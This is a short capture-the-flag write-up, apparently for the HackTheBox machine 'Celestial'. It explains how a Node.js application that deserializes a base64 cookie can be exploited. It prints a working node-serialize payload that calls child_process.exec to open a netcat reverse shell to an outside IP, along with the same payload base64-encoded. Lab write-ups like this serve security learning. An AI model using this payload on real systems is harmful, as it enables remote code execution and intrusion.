> For the complete documentation index, see [llms.txt](https://xenon-2.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://xenon-2.gitbook.io/writeups/hackthebox/boxes/celestial.md).

# Celestial

Short Snippet on Node JS deserialization

We are presented with a node.js application that upon refresh returns dynamic content.

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2FBP0XeQJpVZl9xtnug0Ai%2Fimage.png?alt=media&amp;token=233a9433-9d31-40f5-85c7-1ec283643b32" alt=""><figcaption></figcaption></figure>

Upon decoding the base64 cookie, we see that it is node JS. serialization

```bash
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"3"}
```

The username field looks injectable, lets try to put our reverse shell payload in it.

```bash
{"username":"_$$ND_FUNC$$_function() {require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 1234>/tmp/f', (error, stdout, stderr) => { console.log(stdout); }); } ()"}
//encoded base64 version
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpIHtyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncm0gLWYgL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTYuMiAxMjM0Pi90bXAvZicsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpID0+IHsgY29uc29sZS5sb2coc3Rkb3V0KTsgfSk7IH0gKCkifQ==
```

*The `$$ND`*`FUNC$$` indicates the presence of embedded javascript and executes the rest of the following line (our reverse shell\_) immediately because of the IIFE brackets added at the end which will invoke the function when the object is created.

With that, we get our shell.

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2Fe0EU6XnPIziX7IBxhLeh%2Fimage.png?alt=media&amp;token=d9d605d2-f4e2-4a7c-bc0d-b3c0b1a87ab3" alt=""><figcaption></figcaption></figure>
